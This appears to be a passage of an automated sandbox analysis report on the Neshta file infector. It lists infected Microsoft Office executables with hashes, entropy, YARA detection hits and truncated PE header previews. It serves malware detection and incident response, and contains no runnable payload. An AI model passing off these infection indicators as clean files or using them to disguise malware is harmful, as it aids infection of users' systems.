                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):3531712
                                                                  Entropy (8bit):3.7844153091218713
                                                                  Encrypted:false
                                                                  SSDEEP:6144:k95gSRJQYKV++VYwjatvsDVpDsehRAKzYM:SQYZTWbDj5
                                                                  MD5:9144CA1B12B7793E8F18045B281D81C2
                                                                  SHA1:843A088B9482492885E81B8A5DB7DF5A7A99313F
                                                                  SHA-256:0C4894C91F6FC680FB1A761CF708032C6E792E806F47ABF0C0AD5B674188CB7B
                                                                  SHA-512:A609FC1D8A13D6BC46B80E975DC68930D28447852C5F53DE30A471CC989B6CB5C9CBE35A745518B482B283E32A65D6C1E5F41B02B49790E35F91DF1D8D0B3019
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):83880
                                                                  Entropy (8bit):6.556805464011577
                                                                  Encrypted:false
                                                                  SSDEEP:1536:JxqjQ+P04wsmJCEKfEBr3fHT4nAzHGkYJ+ziw6+zb:sr85CEPh3IAzHGEJn
                                                                  MD5:71B80598872DD0D2851C781764A85A22
                                                                  SHA1:B6CA4DBD84F0F4E26E641FD8039285AF43AEF337
                                                                  SHA-256:8295A24E5CFAB75404E37EA3986F43B62512E269934814EC08A10B36BE6C0B85
                                                                  SHA-512:259C91998EE162BCE784798266D60BB5C97A368E62E42A6791FE2F396399D73496ABEE3699453F4C04CFC968E3421F68981A14CA767BEF2E341FE9E950F97CFE
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):4319112
                                                                  Entropy (8bit):3.8167825827469506
                                                                  Encrypted:false
                                                                  SSDEEP:6144:k9xUh82lTMY/C3uuQyMyquNlBXYJ7M444IB:kkyIgG47B
                                                                  MD5:A660A24C48B0673B94A8410325C43C5C
                                                                  SHA1:E601D5482D7386BA4731F659A39447D076A4DDB6
                                                                  SHA-256:4E5802F6C0D19AE853A12439906714659D4FC2D2C5D72462D905077794E3F3AC
                                                                  SHA-512:51DDAB96D9703744D4EE204A064767B2783FE2ED82082CF63149FCFCB983BCA444C9A42554F72D67BE026859C1C476FAB700849C5D0D16E204A213F36756A436
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):785448
                                                                  Entropy (8bit):3.9404929226943075
                                                                  Encrypted:false
                                                                  SSDEEP:6144:k9dWSXeSC+hBMdNRneNMToeGYeneqjpGtBlmF:iLevUEcLe9l2
                                                                  MD5:03818EEB657D70002E0746E88B0AD5E0
                                                                  SHA1:5B16DC83561232312883A5E49EA8917B1EE45718
                                                                  SHA-256:00D746A158A3868BEB2F20D8F66789675BB981242A10DA5D1679B83F3F7BAC9C
                                                                  SHA-512:CD71721A34385D604352492D7A148F6C3AC144FB6B72D225A4F2ACDD4B309B703ED0036B429AEB31FE63B731773AD6A8FE77BFD620BA9537036BDEB90BF8313C
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):1081280
                                                                  Entropy (8bit):3.7785410128751282
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85C4yTUawK12P04ti0o5gmQNJDJnJG20FxPlJPJSS12Zzwww6G:k94s4wqmQN59wtSS2zwmG
                                                                  MD5:35D2A4B29F56EDDF4C5EE9AA5B79CC61
                                                                  SHA1:BC00C9FC4FAE06D0EC90A9F15915345E7025F153
                                                                  SHA-256:BC8A2062F6B156A773EBFA34125DC8673F960DD057C579D2C74181901C6AA644
                                                                  SHA-512:3CE8168A6EDCBD4A4AB4135EE7BBDF2923A62E4ADECFF19E183B2C54E5903318C5CB956AE28A76F04B63C7A3DD3E464C4AE90AF2D08F1FF5F53F525532B927DB
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):1722808
                                                                  Entropy (8bit):6.4873312334955235
                                                                  Encrypted:false
                                                                  SSDEEP:49152:Fuoh1EWXRkd+h9y6NsRZ9MtL4kD5G5LVuhqITJemL9SQM3:FuohO2km9PNsRZ9MtL4ktG5LV93
                                                                  MD5:F8441CD2F8B20FD75340EDDA57BDB891
                                                                  SHA1:E194B384448281D8821C7F78FA2083616B7D7339
                                                                  SHA-256:1F73799D4D76692CC95E6083B10990BACBB90BC016AF0D84A3B9DD5C7F03FAE5
                                                                  SHA-512:B1825AD19B960FAECDD8AF9675F29999363A3858A26E6FE610E03FBB4E84D62FC68BBBFCCAF7CE51C161B1DA011298CC4EEC43E57F35D24701AD249CC6678F81
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\msoasb.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):307784
                                                                  Entropy (8bit):6.544986970069708
                                                                  Encrypted:false
                                                                  SSDEEP:6144:k9Q+OpwoajoJ/cLr6eNI0A2kg79zge/ceeE1+v:zDWhS5g72veeU+v
                                                                  MD5:279AEE74740799844410CC17E9D7DD88
                                                                  SHA1:B2CD4BDD168C44DD877F12020E236681423F667F
                                                                  SHA-256:7FD117BC2E9167ACEB2A2E767F868C300645AE6A81F497B307FB8A5D3CF82DDF
                                                                  SHA-512:0447B166C1F28B9EFB7820349CE7277749B7155E98D7195DBB9509DD0FD0C1793E7A1C9B28C18F8618C1C23F9D7AF46704A313BE9FE4AF01886F9576BBF40EA8
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoasb.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoasb.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):97920
                                                                  Entropy (8bit):6.445251735006175
                                                                  Encrypted:false
                                                                  SSDEEP:1536:JxqjQ+P04wsmJCWzKAtCz72I/Q/RPTO5piDDFwzS:sr85CWuFvgy5piDD6zS
                                                                  MD5:BC9B4C47C903C054F90FFAF5AE807D5A
                                                                  SHA1:5E293D1A9AD5148B5DF0E4B3294C001A01AD81A4
                                                                  SHA-256:A26CA014A17928D1EDF1C1560B4B3E53F856C2AEF88C293EE78F6CDAB15FEF91
                                                                  SHA-512:7AA4B8756668DBCE4C5232EF7334DD7867E9F5107941E0F65BAE3FBCBC510275E69983372F03BF8A939DC4B4008F41470736D720E25969C5D913A5EDA9D40496
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):1994448
                                                                  Entropy (8bit):6.549997020090568
                                                                  Encrypted:false
                                                                  SSDEEP:49152:3l8U9+tiqfG7C+5I6ZOX0Bh4MdDHc/EBRXXZUABfmcQ:3l8+++7hOXODHc/EdQ
                                                                  MD5:4BE8C1392D391FEAA6FB26CFA69BDFC9
                                                                  SHA1:FA3209AD786AB39EF8A4EF173E9C7291A9BCEB18
                                                                  SHA-256:2F182A705D4FED647B1BEC5729151DDC040EC3778825C212158B070F7BF06975
                                                                  SHA-512:1D77C2398EDA378C14EF19511C0A490BDCE2437DDF2E28BC9A85E1ED04991DD5FAA178C6C9E6019165C74DF4E8BCCEBDA6973D40067C019911B019AA3BC26677
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):275872
                                                                  Entropy (8bit):4.23571320386301
                                                                  Encrypted:false
                                                                  SSDEEP:1536:JxqjQ+P04wsmJCt6gJJRaCAd1uhNRu7z3zHt4s+zbCtbCc0xXNmi9RHYOqEWpVO/:sr85Ct6gxe7z3OzY+9jTYbE+la
                                                                  MD5:CB1984EACAD27ABC9F009A4AD963A49A
                                                                  SHA1:5C6C4EC164A7C41332B605C6D9817030A473BB48
                                                                  SHA-256:DC15534405AA721E4B8F70A910B991ABB4F4F9A5A823A985110D56BAC974B881
                                                                  SHA-512:9806C1F7B4436442159BFD3D1D74308850072A343C059C3749BD5FA4DDFEAC9DAB3ED61E5A35A5E1CC717C3CDF2735B93FA1C99D5A27E1ACD276326D17E5ED06
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):751520
                                                                  Entropy (8bit):6.5238755488474665
                                                                  Encrypted:false
                                                                  SSDEEP:12288:PccV8BFJ0kz4uP9V6wY2M48aVNfffNfYRweSat8UVNfffNfRtAUUn4lDW7f5sBzl:POFJbl/6r2M48aVNfffNfWVNfffNfDw+
                                                                  MD5:B3C7E94C586500725E1F446C6A930D91
                                                                  SHA1:54719B158873B1E2402767498F31256321D856BD
                                                                  SHA-256:1A5CEC0A13524316A7D6646039EBA275C22F22CA164F30B4F50316220F299441
                                                                  SHA-512:089FE8377087A4EF69D89B75BE8E3442D5C20930C27E7E7FD24E455C96397FE8B7186E3DFF7F1B1FE71853A0C367EB392B6B59B1DCD726C1BEC7937D2BFE4E07
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\aimgr.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):182712
                                                                  Entropy (8bit):6.326834639732507
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85CRDbGpEPwVH+lMCNy0GEVVS1ikLrDdevXqHai8MBEL4:k9RXSSwVgvfkhvzHcWEM
                                                                  MD5:9103C2F76BDB6251CE480EE775266524
                                                                  SHA1:0F0C95B1A253D32BB23A99A72F5A77D91387A6B1
                                                                  SHA-256:D51F101246783235E88373EF28189EE54C97F41E46341BE0AF0D4DC455016E3A
                                                                  SHA-512:8F9598DF6E31EC58FDEEDF42E9A60C42ECC3A278E546614AA36177995DB61F3E2A3887564A2707AB4669082AE3CB2FAB5765D251F7970572C232BB1650216FCA
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\aimgr.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\aimgr.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):5174360
                                                                  Entropy (8bit):7.263311718032684
                                                                  Encrypted:false
                                                                  SSDEEP:49152:b/xFnOvtaWIDn0apLKkLJU9nU2foKhA4vSWidGHp+NDGQUzbpDOfjxAkrQKl+RPp:NtLK3BDhtvS0Hpe4zbpaAKQkroGIz
                                                                  MD5:1A968E122913ED79596A9EAA5E7BE7B3
                                                                  SHA1:96978DB6766A4827206397BA4E8D75A3E3353E7D
                                                                  SHA-256:C43AD12F1E78AE1817854FB54903030A89A2023E76D3A2CD6C6275B3AB1C21B0
                                                                  SHA-512:56217DD430159D591109231B2F657484BA7B5BC7DF832668A82A4DB8D6A925183633CA9E68C46E85EF759B617343A13D1CED3D8D91A082A87FFCDBB6E795F54F
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXE

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):139712
                                                                  Entropy (8bit):6.527583416477957
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85C4U5adWAKmzUccnzkVBgEuKjj0WWtPPoI:k9/+EjzCg+j6P3
                                                                  MD5:EE3F4F49708A511BA220F4C073C8E933
                                                                  SHA1:727CE23C7427FD900FDBBF06715F9764F4F24848
                                                                  SHA-256:9A7F835403920D85B948447C007988E1C1271D86F87293AA1D1C9DCE4EAD3DDA
                                                                  SHA-512:8BE2A84BA4F7845369ED052DC4E71CEED8E3B9C075D66BBF7FD1E1A5935CB50EA08F63AEC2B2EA8CA35DEB001F71EF2AF71C2E185D37A75FDEEB2050C79D7F74
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXE, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXE, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXE

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):380368
                                                                  Entropy (8bit):6.677799145653771
                                                                  Encrypted:false
                                                                  SSDEEP:6144:k9XzgSb/029S2P/7nzGxFrRN0r0ivCZci1FXiO8DaS4wwE0CBlFJmcx:bw/2q/roN7ivCZci1FC74wdBlFYU
                                                                  MD5:3B22BCCC611D93FD2228E3098C8909A2
                                                                  SHA1:46C93B6587FDD25B710E6C0D0ABC426132DEBAA0
                                                                  SHA-256:FC06A5FADD20D729E99EBF82D696F982352147C7A96C7D55D5FF1F7CF1DA9575
                                                                  SHA-512:D98A167BC857DF9B7DD4FF2150AF495DAE0290A033C868E3AE00BB01CA7C68EC5D37C75D18BF88B87564CF9E38252360F0914E90AFB64A34929A579C691CB9DE
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXE, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXE, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):1269696
                                                                  Entropy (8bit):3.750731544998065
                                                                  Encrypted:false
                                                                  SSDEEP:6144:k9Rvk8/0NhFYAddenZhUhTNnLUrh+9nTGLljX4wuSzVF:y4wXF
                                                                  MD5:9344D6088F4232059CC71D89680C627A
                                                                  SHA1:B6D50543A01F017F333CB69897FFD6B39DD0430E
                                                                  SHA-256:4C9373C646419B656C368FACB9BF903A3BE6C167B7B20DC6BB0D710AEC498FBA
                                                                  SHA-512:5B4229DFA9B17BB50F8A3AC1BDFF09395A5B1C0A25CD7B1953297CEEDE312C6DA34295DE61A62DEE6BEDAC1D130F745DC6704E77C8366D954ED72A0914B27CA4
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE, Author: ditekSHen
                                                                  Reputation:unknown
